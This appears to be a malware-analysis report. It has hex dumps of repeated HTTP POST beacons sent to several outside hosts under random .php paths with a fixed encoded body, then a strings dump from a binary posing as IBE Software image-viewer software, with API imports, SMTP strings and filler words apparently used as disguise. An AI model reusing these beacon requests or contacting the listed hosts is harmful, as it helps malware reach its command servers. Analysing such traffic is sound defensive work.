0x00000110 (00272)   726f6c3a 206e6f2d 63616368 650d0a0d   rol: no-cache...
0x00000120 (00288)   0a773d34 61643337 39396530 30633366   .w=4ad3799e00c3f
0x00000130 (00304)   64333239 37366564 63376537 39653163   d32976edc7e79e1c
0x00000140 (00320)   39343763 66636431 36383466 39376462   947cfcd1684f97db
0x00000150 (00336)   32353866 31306138 65336235 63313065   258f10a8e3b5c10e
0x00000160 (00352)   65643636 32326264 31383532 30336235   ed6622bd185203b5
0x00000170 (00368)   32376563 36373463 30396532 37656433   27ec674c09e27ed3
0x00000180 (00384)   39393232 66356263 36663234 383438     9922f5bc6f24848

0x00000000 (00000)   504f5354 202f4964 766e3739 2e706870   POST /Idvn79.php
0x00000010 (00016)   3f613d74 7277376e 39336c69 74763738   ?a=trw7n93litv78
0x00000020 (00032)   6c204854 54502f31 2e310d0a 41636365   l HTTP/1.1..Acce
0x00000030 (00048)   70743a20 2a2f2a0d 0a436f6e 74656e74   pt: */*..Content
0x00000040 (00064)   2d547970 653a2061 70706c69 63617469   -Type: applicati
0x00000050 (00080)   6f6e2f78 2d777777 2d666f72 6d2d7572   on/x-www-form-ur
0x00000060 (00096)   6c656e63 6f646564 0d0a436f 6e6e6563   lencoded..Connec
0x00000070 (00112)   74696f6e 3a20436c 6f73650d 0a436f6e   tion: Close..Con
0x00000080 (00128)   74656e74 2d4c656e 6774683a 20313038   tent-Length: 108
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 290d0a48 6f73743a   .0.50727)..Host:
0x000000f0 (00240)   20626f6c 6c652d69 6d6d6f62 696c6965    bolle-immobilie
0x00000100 (00256)   6e2e6465 0d0a4361 6368652d 436f6e74   n.de..Cache-Cont
0x00000110 (00272)   726f6c3a 206e6f2d 63616368 650d0a0d   rol: no-cache...
0x00000120 (00288)   0a773d34 61643337 39396530 30633366   .w=4ad3799e00c3f
0x00000130 (00304)   64333239 37366564 63376537 39653163   d32976edc7e79e1c
0x00000140 (00320)   39343763 66636431 36383466 39376462   947cfcd1684f97db
0x00000150 (00336)   32353866 31306138 65336235 63313065   258f10a8e3b5c10e
0x00000160 (00352)   65643636 32326264 31383532 30336235   ed6622bd185203b5
0x00000170 (00368)   32376563 36373463 30396532 37656433   27ec674c09e27ed3
0x00000180 (00384)   39393232 66356263 36663234 383438     9922f5bc6f24848

0x00000000 (00000)   504f5354 202f4465 31755146 2e706870   POST /De1uQF.php
0x00000010 (00016)   3f6a3d74 7277376e 39336c69 74763738   ?j=trw7n93litv78
0x00000020 (00032)   6c204854 54502f31 2e310d0a 41636365   l HTTP/1.1..Acce
0x00000030 (00048)   70743a20 2a2f2a0d 0a436f6e 74656e74   pt: */*..Content
0x00000040 (00064)   2d547970 653a2061 70706c69 63617469   -Type: applicati
0x00000050 (00080)   6f6e2f78 2d777777 2d666f72 6d2d7572   on/x-www-form-ur
0x00000060 (00096)   6c656e63 6f646564 0d0a436f 6e6e6563   lencoded..Connec
0x00000070 (00112)   74696f6e 3a20436c 6f73650d 0a436f6e   tion: Close..Con
0x00000080 (00128)   74656e74 2d4c656e 6774683a 20313038   tent-Length: 108
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 290d0a48 6f73743a   .0.50727)..Host:
0x000000f0 (00240)   20737564 61747261 696e2e6e 65740d0a    sudatrain.net..
0x00000100 (00256)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000110 (00272)   6f2d6361 6368650d 0a0d0a77 3d346164   o-cache....w=4ad
0x00000120 (00288)   33373939 65303063 33666433 32393736   3799e00c3fd32976
0x00000130 (00304)   65646337 65373965 31633934 37636663   edc7e79e1c947cfc
0x00000140 (00320)   64313638 34663937 64623235 38663130   d1684f97db258f10
0x00000150 (00336)   61386533 62356331 30656564 36363232   a8e3b5c10eed6622
0x00000160 (00352)   62643138 35323033 62353237 65633637   bd185203b527ec67
0x00000170 (00368)   34633039 65323765 64333939 32326635   4c09e27ed39922f5
0x00000180 (00384)   62633666 32343863 36663234 383438     bc6f248c6f24848

0x00000000 (00000)   504f5354 202f6771 64316177 2e706870   POST /gqd1aw.php
0x00000010 (00016)   3f6f3d74 7277376e 39336c69 74763738   ?o=trw7n93litv78
0x00000020 (00032)   6c204854 54502f31 2e310d0a 41636365   l HTTP/1.1..Acce
0x00000030 (00048)   70743a20 2a2f2a0d 0a436f6e 74656e74   pt: */*..Content
0x00000040 (00064)   2d547970 653a2061 70706c69 63617469   -Type: applicati
0x00000050 (00080)   6f6e2f78 2d777777 2d666f72 6d2d7572   on/x-www-form-ur
0x00000060 (00096)   6c656e63 6f646564 0d0a436f 6e6e6563   lencoded..Connec
0x00000070 (00112)   74696f6e 3a20436c 6f73650d 0a436f6e   tion: Close..Con
0x00000080 (00128)   74656e74 2d4c656e 6774683a 20313038   tent-Length: 108
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 290d0a48 6f73743a   .0.50727)..Host:
0x000000f0 (00240)   20737574 746f6e66 61726d73 2e6e6574    suttonfarms.net
0x00000100 (00256)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000110 (00272)   206e6f2d 63616368 650d0a0d 0a773d34    no-cache....w=4
0x00000120 (00288)   61643337 39396530 30633366 64333239   ad3799e00c3fd329
0x00000130 (00304)   37366564 63376537 39653163 39343763   76edc7e79e1c947c
0x00000140 (00320)   66636431 36383466 39376462 32353866   fcd1684f97db258f
0x00000150 (00336)   31306138 65336235 63313065 65643636   10a8e3b5c10eed66
0x00000160 (00352)   32326264 31383532 30336235 32376563   22bd185203b527ec
0x00000170 (00368)   36373463 30396532 37656433 39393232   674c09e27ed39922
0x00000180 (00384)   66356263 36663234 38663234 383438     f5bc6f248f24848

0x00000000 (00000)   504f5354 202f547a 6d4e486b 2e706870   POST /TzmNHk.php
0x00000010 (00016)   3f783d74 7277376e 39336c69 74763738   ?x=trw7n93litv78
0x00000020 (00032)   6c204854 54502f31 2e310d0a 41636365   l HTTP/1.1..Acce
0x00000030 (00048)   70743a20 2a2f2a0d 0a436f6e 74656e74   pt: */*..Content
0x00000040 (00064)   2d547970 653a2061 70706c69 63617469   -Type: applicati
0x00000050 (00080)   6f6e2f78 2d777777 2d666f72 6d2d7572   on/x-www-form-ur
0x00000060 (00096)   6c656e63 6f646564 0d0a436f 6e6e6563   lencoded..Connec
0x00000070 (00112)   74696f6e 3a20436c 6f73650d 0a436f6e   tion: Close..Con
0x00000080 (00128)   74656e74 2d4c656e 6774683a 20313038   tent-Length: 108
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 290d0a48 6f73743a   .0.50727)..Host:
0x000000f0 (00240)   20657572 6f2d646f 6d2e6465 0d0a4361    euro-dom.de..Ca
0x00000100 (00256)   6368652d 436f6e74 726f6c3a 206e6f2d   che-Control: no-
0x00000110 (00272)   63616368 650d0a0d 0a773d34 61643337   cache....w=4ad37
0x00000120 (00288)   39396530 30633366 64333239 37366564   99e00c3fd32976ed
0x00000130 (00304)   63376537 39653163 39343763 66636431   c7e79e1c947cfcd1
0x00000140 (00320)   36383466 39376462 32353866 31306138   684f97db258f10a8
0x00000150 (00336)   65336235 63313065 65643636 32326264   e3b5c10eed6622bd
0x00000160 (00352)   31383532 30336235 32376563 36373463   185203b527ec674c
0x00000170 (00368)   30396532 37656433 39393232 66356263   09e27ed39922f5bc
0x00000180 (00384)   36663234 38663234 38663234 383438     6f248f248f24848

0x00000000 (00000)   504f5354 202f514f 50597273 2e706870   POST /QOPYrs.php
0x00000010 (00016)   3f6b3d74 7277376e 39336c69 74763738   ?k=trw7n93litv78
0x00000020 (00032)   6c204854 54502f31 2e310d0a 41636365   l HTTP/1.1..Acce
0x00000030 (00048)   70743a20 2a2f2a0d 0a436f6e 74656e74   pt: */*..Content
0x00000040 (00064)   2d547970 653a2061 70706c69 63617469   -Type: applicati
0x00000050 (00080)   6f6e2f78 2d777777 2d666f72 6d2d7572   on/x-www-form-ur
0x00000060 (00096)   6c656e63 6f646564 0d0a436f 6e6e6563   lencoded..Connec
0x00000070 (00112)   74696f6e 3a20436c 6f73650d 0a436f6e   tion: Close..Con
0x00000080 (00128)   74656e74 2d4c656e 6774683a 20313038   tent-Length: 108
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 290d0a48 6f73743a   .0.50727)..Host:
0x000000f0 (00240)   20726174 696f6e77 616c6161 612e636f    rationwalaaa.co
0x00000100 (00256)   6d0d0a43 61636865 2d436f6e 74726f6c   m..Cache-Control
0x00000110 (00272)   3a206e6f 2d636163 68650d0a 0d0a773d   : no-cache....w=
0x00000120 (00288)   34616433 37393965 30306333 66643332   4ad3799e00c3fd32
0x00000130 (00304)   39373665 64633765 37396531 63393437   976edc7e79e1c947
0x00000140 (00320)   63666364 31363834 66393764 62323538   cfcd1684f97db258
0x00000150 (00336)   66313061 38653362 35633130 65656436   f10a8e3b5c10eed6
0x00000160 (00352)   36323262 64313835 32303362 35323765   622bd185203b527e
0x00000170 (00368)   63363734 63303965 32376564 33393932   c674c09e27ed3992
0x00000180 (00384)   32663562 63366632 34383234 383438     2f5bc6f24824848

0x00000000 (00000)   504f5354 202f3847 426e5f74 2e706870   POST /8GBn_t.php
0x00000010 (00016)   3f683d74 7277376e 39336c69 74763738   ?h=trw7n93litv78
0x00000020 (00032)   6c204854 54502f31 2e310d0a 41636365   l HTTP/1.1..Acce
0x00000030 (00048)   70743a20 2a2f2a0d 0a436f6e 74656e74   pt: */*..Content
0x00000040 (00064)   2d547970 653a2061 70706c69 63617469   -Type: applicati
0x00000050 (00080)   6f6e2f78 2d777777 2d666f72 6d2d7572   on/x-www-form-ur
0x00000060 (00096)   6c656e63 6f646564 0d0a436f 6e6e6563   lencoded..Connec
0x00000070 (00112)   74696f6e 3a20436c 6f73650d 0a436f6e   tion: Close..Con
0x00000080 (00128)   74656e74 2d4c656e 6774683a 20313038   tent-Length: 108
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 290d0a48 6f73743a   .0.50727)..Host:
0x000000f0 (00240)   20747261 76616e63 792e636f 6d0d0a43    travancy.com..C
0x00000100 (00256)   61636865 2d436f6e 74726f6c 3a206e6f   ache-Control: no
0x00000110 (00272)   2d636163 68650d0a 0d0a773d 34616433   -cache....w=4ad3
0x00000120 (00288)   37393965 30306333 66643332 39373665   799e00c3fd32976e
0x00000130 (00304)   64633765 37396531 63393437 63666364   dc7e79e1c947cfcd
0x00000140 (00320)   31363834 66393764 62323538 66313061   1684f97db258f10a
0x00000150 (00336)   38653362 35633130 65656436 36323262   8e3b5c10eed6622b
0x00000160 (00352)   64313835 32303362 35323765 63363734   d185203b527ec674
0x00000170 (00368)   63303965 32376564 33393932 32663562   c09e27ed39922f5b
0x00000180 (00384)   63366632 34386632 34383234 383438     c6f248f24824848

0x00000000 (00000)   504f5354 202f5871 445a3449 2e706870   POST /XqDZ4I.php
0x00000010 (00016)   3f733d74 7277376e 39336c69 74763738   ?s=trw7n93litv78
0x00000020 (00032)   6c204854 54502f31 2e310d0a 41636365   l HTTP/1.1..Acce
0x00000030 (00048)   70743a20 2a2f2a0d 0a436f6e 74656e74   pt: */*..Content
0x00000040 (00064)   2d547970 653a2061 70706c69 63617469   -Type: applicati
0x00000050 (00080)   6f6e2f78 2d777777 2d666f72 6d2d7572   on/x-www-form-ur
0x00000060 (00096)   6c656e63 6f646564 0d0a436f 6e6e6563   lencoded..Connec
0x00000070 (00112)   74696f6e 3a20436c 6f73650d 0a436f6e   tion: Close..Con
0x00000080 (00128)   74656e74 2d4c656e 6774683a 20313038   tent-Length: 108
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 290d0a48 6f73743a   .0.50727)..Host:
0x000000f0 (00240)   20736e6f 636d6f62 696c7961 2e636f6d    snocmobilya.com
0x00000100 (00256)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000110 (00272)   206e6f2d 63616368 650d0a0d 0a773d34    no-cache....w=4
0x00000120 (00288)   61643337 39396530 30633366 64333239   ad3799e00c3fd329
0x00000130 (00304)   37366564 63376537 39653163 39343763   76edc7e79e1c947c
0x00000140 (00320)   66636431 36383466 39376462 32353866   fcd1684f97db258f
0x00000150 (00336)   31306138 65336235 63313065 65643636   10a8e3b5c10eed66
0x00000160 (00352)   32326264 31383532 30336235 32376563   22bd185203b527ec
0x00000170 (00368)   36373463 30396532 37656433 39393232   674c09e27ed39922
0x00000180 (00384)   66356263 36663234 38383234 383438     f5bc6f248824848

0x00000000 (00000)   504f5354 202f3463 4a494172 2e706870   POST /4cJIAr.php
0x00000010 (00016)   3f6d3d74 7277376e 39336c69 74763738   ?m=trw7n93litv78
0x00000020 (00032)   6c204854 54502f31 2e310d0a 41636365   l HTTP/1.1..Acce
0x00000030 (00048)   70743a20 2a2f2a0d 0a436f6e 74656e74   pt: */*..Content
0x00000040 (00064)   2d547970 653a2061 70706c69 63617469   -Type: applicati
0x00000050 (00080)   6f6e2f78 2d777777 2d666f72 6d2d7572   on/x-www-form-ur
0x00000060 (00096)   6c656e63 6f646564 0d0a436f 6e6e6563   lencoded..Connec
0x00000070 (00112)   74696f6e 3a20436c 6f73650d 0a436f6e   tion: Close..Con
0x00000080 (00128)   74656e74 2d4c656e 6774683a 20313038   tent-Length: 108
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 290d0a48 6f73743a   .0.50727)..Host:
0x000000f0 (00240)   20677275 706f696e 7465726e 65782e63    grupointernex.c
0x00000100 (00256)   6f6d2e62 720d0a43 61636865 2d436f6e   om.br..Cache-Con
0x00000110 (00272)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000120 (00288)   0d0a3337 39396530 30633366 64333239   ..3799e00c3fd329
0x00000130 (00304)   37366564 63376537 39653163 39343763   76edc7e79e1c947c
0x00000140 (00320)   66636431 36383466 39376462 32353866   fcd1684f97db258f
0x00000150 (00336)   31306138 65336235 63313065 65643636   10a8e3b5c10eed66
0x00000160 (00352)   32326264 31383532 30336235 32376563   22bd185203b527ec
0x00000170 (00368)   36373463 30396532 37656433 39393232   674c09e27ed39922
0x00000180 (00384)   66356263 36663234 38383234 383438     f5bc6f248824848


Strings
0x
00-+ 
 
CC
\
.
..
.
.
x~m..
.
U.
;
.A.

@ @@@`@
040904b0
2006-2014 
5.8.3.4
B(null)
 clockwise
 clockwise0Rotate the selected object 90
 clockwise&Rotate the image 90
 clockwise/Rotate the selected image 90
 clockwise'Rotate the selected image 90
 clockwise(Rotate the selected object 90
CLOSEDFOLDER
clsid:10000002-0000-0000-0000-000000000001
Comments
CompanyName
 counter-clockwise(Rotate the selected image 180
 counter-clockwise)Rotate the selected object 180
 counter-clockwise"Save changes to this image to file!Save this image to a new filename$Select a circular area of your image1Select a portion of your image of a similar color'Select a rectangular area of your image
CURRENTFOLDER
*Display the animation of a GIF or AVI file%Display the first frame of this image*Display the image at full size (100% zoom)-Display the image at the height of the window+Display the image at the size of the window,Display the image at the width of the window
Display the image larger
Display the image smaller$Display the last frame of this image$Display the next frame of this image%Display the prior frame of this image
Dynamically measure a distance7Edit points of a polyline (hold Ctrl to remove a point)5Equalizes the color histogram for the selected region!Flip the image from left to right!Flip the image from top to bottom
EXECUTABLE
FileDescription
FileVersion
*Flip the selected image from left to right*Flip the selected image from top to bottom
FLOPPY
Free-hand paint an open polygon
                                 H
         (((((                  H
HARD
Helv
         h((((                  H
 IBE Software
IBE Software
IDB_PLAY
IDB_PREVIEW
IDB_STOP	KNOWNFILE
IDD_IETEMPLATE1
IDD_IETEMPLATE2
Invert the colors of the image8Left-click the image to Zoom In. Right-click to Zoom Out
jjjjj
KERNEL32.DLL
LegalCopyright
Load an image from fileHMatch the size of the background image to all of the objects it contains
Measure a rectangular area'Measure the distance between two points+Merge all objects with the background layer3Merge the selected object with the background layer0Merges all layers of the image into a single one"Move the mouse to scroll the image Move the selected layer backward
MENUBTN
METRIC
MONITOR
Move the selected layer forward!Move the selected object backward
 Move the selected object forward)Move the selected object to the clipboard!Paste an image from the clipboard
mscoree.dll
msctls_progress32
MS SANS SERIF
NETWORK
OriginalFilename
Paste object from the clipboard1Paste the content of the clipboard as a new layer0Perform color enhancement functions on the image9Perform color enhancement functions on the selected imageBPerform an irregular selection of your image by clicking the mouseBPerform an irregular selection of your image by dragging the mouse
Perform effects on the image%Perform effects on the selected image!Playback these frames in sequence-Position the selected layer behind all others5Position the selected object behind all other objects5Print all images of the grid as a sheet of thumbnails-Print the selected image at its original size
Please describe the steps to reproduce the error:
(Print the selected image to fit the page2Print the selected images as a sheet of thumbnails%Print this image at its original size Print this image to fit the page/Prompt for an image file to load as a new layer$Redo the last action that was undone+Reduce the colors of the image to grayscale!Remove all objects from the image;Remove all parts of the image outside the current selection,Remove the red-eye effect from the selection
ProductName
ProductVersion
Properties Awareness
Remove the selected image(Remove the selected layer from the image)Remove the selected object from the image6Remove the transparent borders from the selected layer#Restart playback after it completes*Retrieve an image from a camera or scanner
Request.
REQUEST
(Retrieve images from a camera or scanner
Rotate the image 180
Rotate the image 90
Select all images in the grid
SMTP(
SMTP sending...
Static
StringFileInfo
Transitioned P Enter Aggregated Operators Hearing
Translation
VarFileInfo
VS_VERSION_INFO
<##/) 
                          
?}}}?~~~?
"""""!
"""""/
""""""
""""""!
""""""/
"""""".
"""""""
"""""""!
"""""""/
""""""""
""""""""!
""""""""/
"""""""""
"""""""""!
"""""""""/
""""""""""
""""""""""!
""""""""""/
"""""""""""
"""""""""""!
"""""""""""/
""""""""""""
""""""""""""!
"""""""""""""
"""""""""""""-!
"""""""""""""!
""""""""""""""!
""""""""""""""'!
"""""""""""""""
"""""""""""""""'
""""""""""""""""
""""""""""""""""-
"""""""""""""""""!
""""""""""""""""""
""""""""""""""""""'
"""""""""""""""""""
"""""""""""""""""""/
""""""""""""""""""""""""""""""
""""""""""""""""""""""""""""""!
""""""""""""""""""""""""""""""""-
""""""""""""""""""""""""""""""""!
""""""""""""""""""""""""""""""""""""""""""/
""""""""""""""""""""""""""""""""""""""""""""
""""""""""""""""""""""""""""""""""""""""""""/
"""""""""""""""""*
""""""""""""")
"""""""""""&
"""""""""")!
""""""""""$
"""""""*
}""""""""/
*""""""""/
								
									
										
 000%1X: 
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
 %03X_: 
0'6$OB*
0A@@Ju
0It@|>U
0K|};5
0SSSSS
,0U0)0
=0vO;?
0WWWWW
0^xcuG
 0x%X.dll
0z-DAb
172 relocate 
1Fo2Z3B
*1k]4B0
,1mB}\
2001 Independence each wrapper Discrete 
2 gG"~
2+m3>K
2>%_qj
>2s\]:
2wfC'j#[i
33333<
33333;!
333333
333333<
3333333
33333333
33333333;
333333331
333333333
333333333!
33333333332
33333333333
333333333331
3333333333333
3333333333333!
333333333338
33333333338
333333338
3333338
"3;aW	
{3OxHY
~~~3ttt#
3V6^y<m
~~~3vvv3
|||3vvv3
{{{3vvv3
~~~3www3
}}}3www3
3ZT-d,
.4/];3
4Bz8Wz
4+(k0D
4P	3_]m
:5l{4a
5	v7Qo
!5$w'+2
5*(}ZC~
6',2,"7
66$67!
\6B=B"
6.&cFT
6I}>,0
$6ro-2
6xJ6pR
7CL1f`
7/H)?0
|7Jcy,
)7}O0xZ
7]YF8q9F
8arOQA
(8F	^xhV2
8VD>tf
8V%Q`wg
]9-$7&Ah
<<9876$8
>=<9887$8
9GV=*}?
9 wuBBa
9y'aq%
^9`zE1
=a0CP4IW3IW2HW2HW2HW2HW2HW2HW2HW2HW2HW3IW4IW0CP
a4hP&WY
a9JU.<
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
ACL Control Enhancement 
acted May 
AdInsight Aspx corrupted 
ADVAPI32.dll
A:%LdR
Altec Materials ModelGroups 
AlterNet WinFX context skeptics Online 
;a=~mP
An application has made an attempt to load the C runtime library incorrectly.
annotate logistical 
-aol|n
AppendMenuA
arithmetic Jaguar suggestive 
as7]\V
</assembly>PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
as\]\V
atleast works strictfp elaborate shifts 
- Attempt to initialize the CRT more than once.
- Attempt to use MSIL code from this assembly during native code initialization
Atto CU Heterogeneity 
August
.?AVbad_alloc@std@@
.?AVbad_exception@std@@
.?AVexception@std@@
.?AVlength_error@std@@
.?AVlogic_error@std@@
.?AVout_of_range@std@@
.?AVtype_info@@
 Ax1W~
b""""""
B-0>2n
b2v+Krw
 b6l@qZm
bad allocation
bad exception
&@^(Ba(@d#W
&@^(BaE
balance EOL WICDecodeMetadataCacheOnLoad occupied 
}+~{bAm
 Base Class Array'
 Base Class Descriptor at (
__based(
b	buQs(Q
bb<vph
BDEFHF3
BeginPaint
bf=vph
.Bhcsu
Bill refining 
Biometrics she XMT 
BitBlt
b	,;k4C
brace 
BranchCache changing Rationale 
?bThzFJx@q
+bTpzGCpx
BUTTON
bxYQU#9*
c	1ifp>FjO
{$C3Co
calibrated exploiting BPS 
categorize Compatibility Gerber expository 
cB::<:<>
C<<==b
CbVT!<Hm
__cdecl
CEEEFEECa
CGI Janet fact Capital 
CheckMenuItem
ChooseFontA
CIS stolen Whatever 
*)cJL2
CK45{>
 Class Hierarchy Descriptor'
CloseHandle
CloseServiceHandle
__clrcall
Co4;,e
`c)ol1[
COMDLG32.dll
commits Needless 
 Complete Object Locator'
CONOUT$
continuously brief Uses 
contributed Google's 
ControlService
`copy constructor closure'
CopyRect
CorExitProcess
%CrdmV
Create
CreateBitmapIndirect
CreateCompatibleBitmap
CreateCompatibleDC
CreateFileA
CreateFontA
CreateFontIndirectA
CreateMenu
CreatePopupMenu
CreateRectRgn
CreateSolidBrush
CreateWindowExA
crises ET Indented Each 
- CRT not initialized
c<ru!P
c)	y2Q
CYBERSPACE 
cyclic much cell 
cY(\xZ$
#C{ZIA
(D~{}#}
@.data
Dataflex 
DDDDDD
DDDDDDDDDDwwww
DDDDDDDDDGwwwwz
DDDDDDDDDJwwwwp
$DDDDDDDDwwwwww
DDDDDDDEwwwwww
DDDDDwwwwwz
DDDDGwwwwwQ
dddd, MMMM dd, yyyy
DDDGwwww
DDGwDDD
Dd=_O~
DDwwwwR
December
DecodePointer
`default constructor closure'
DEFHfhH,
DefMDIChildProcA
DefWindowProcA
 delete
 delete[]
DeleteCriticalSection
DeleteDC
DeleteMenu
DeleteObject
Demand Brother 
deployments talking Science caps 
deregulation Peasants serve
DER Gank interference 
derives 
description interrogation Attempts women 
DestroyWindow
DEVICE
DI,30Xm
Direct3D10 JolliPC 
directory Subscription Directory 
DispatchMessageA
dividing ban genuinely eras 
"$DI]y
DMz&7o
dN^:Vl
DOMAIN error
DPtoLP
DrawMenu
DrawMenuBar
DrawText 
DrawTextA
driven IMHO province bounds 
dubbed mode slip Wake 
duplexed EEG rolled DDX 
Duplexing GAIA 
D#wePm
d"}X3q_
`dynamic atexit destructor for '
`dynamic initializer for '
=/..,e
&@e&@^
E&~"&@
E\5k{!
/E7/tO
-E>A1e
\EEC=:>
eeol%T
-Ef)Ky$W
\eh_B"
]EHP\c
`eh vector constructor iterator'
`eh vector copy constructor iterator'
`eh vector destructor iterator'
`eh vector vbase constructor iterator'
`eh vector vbase copy constructor iterator'
EL:0`o
electrons Bc largest 
EnableMenuItem
Encapsulation reference 
EncodePointer
EndPaint
EnterCriticalSection
Error from System :
e#~U4"
EU&N*Q
EUUUUUUUfffffffn
EUUUUUUUUVffffffff
evdbC~
?E)?#X#
Exabyte Usability DOJ 
ExitProcess
ExtTextOutA
f9yD3sg5
FarPlaneDistance vast Flow 
__fastcall
faster 
FDb'8*
February
Feed wish in pictorial 
fffffb
ffffff
ffffffb
fffffffb
ffffffffb
ffffffffb-
fffffffff"
fffffff`q
fhhhmhfGDG
FillConsoleOutputAttribute
FillConsoleOutputCharacterA
FindTextA
- floating point support not loaded
FlsAlloc
FlsFree
FlsGetValue
FlsSetValue
FlushFileBuffers
FM!sYx	
FormatMessageA
fp7zQH
FreeEnvironmentStringsA
FreeEnvironmentStringsW
Friday
Froogle extensible disappears modern 
@-ftLP
 ]fyABlJV
G7_>&0
game gen poor 
gAOsUP
G.|$c|?t!~/
GDI32.dll
GdiSetBatchLimit
GetACP
GetActiveWindow
GetClientRect
GetCommandLineA
GetConsoleCP
GetConsoleMode
GetConsoleOutputCP
GetConsoleScreenBufferInfo
GetConsoleWindow
GetCPInfo
GetCurrentProcess
GetCurrentProcessId
GetCurrentThreadId
GetDeviceCaps
GetDialogBaseUnits
GetDlgItem
GetDlgItemTextA
GetEnvironmentStrings
GetEnvironmentStringsW
GetFileType
GetFileVersionInfoA
GetFileVersionInfoSizeA
GetLastActivePopup
GetLastError
GetLocaleInfoA
GetLocalTime
GetMapMode
GetMenuItemID
GetModuleFileNameA
GetModuleHandleA
GetModuleHandleW
GetModuleInformation
GetObjectA
GetOEMCP
GetParent
GetProcAddress
GetProcessWindowStation
GetProfileStringA
GetPropA
GetStartupInfoA
GetStdHandle
GetStockObject
GetStringTypeA
GetStringTypeW
GetSubMenu
GetSysColor
GetSystemMenu
GetSystemMetrics
GetSystemTimeAsFileTime
GetTextExtentPoint32A
GetTextExtentPointA
GetTextMetricsA
GetTickCount
GetUserObjectInformationA
GetWindowLongA
GetWindowRect
GetWindowTextA
GetWindowWord
+=((gg
GGHfhhlH3
GLG8l[
governesses 
G/];p\
G)\PJFw
G/];p\\t
g,!\pv
Gr[a2f
Grenade 
Griefing maximized manageability but progressing 
grown popular Snagit 
)'gSg6
GV).|?
~Gx[`g*
g%x"WY
`h````
h,"@/0
h1b)Pe
Ha&,'{
h!A1`4lg
HA~tg]
Hat's Spike DRLDWG Altogether 
h[cB^w
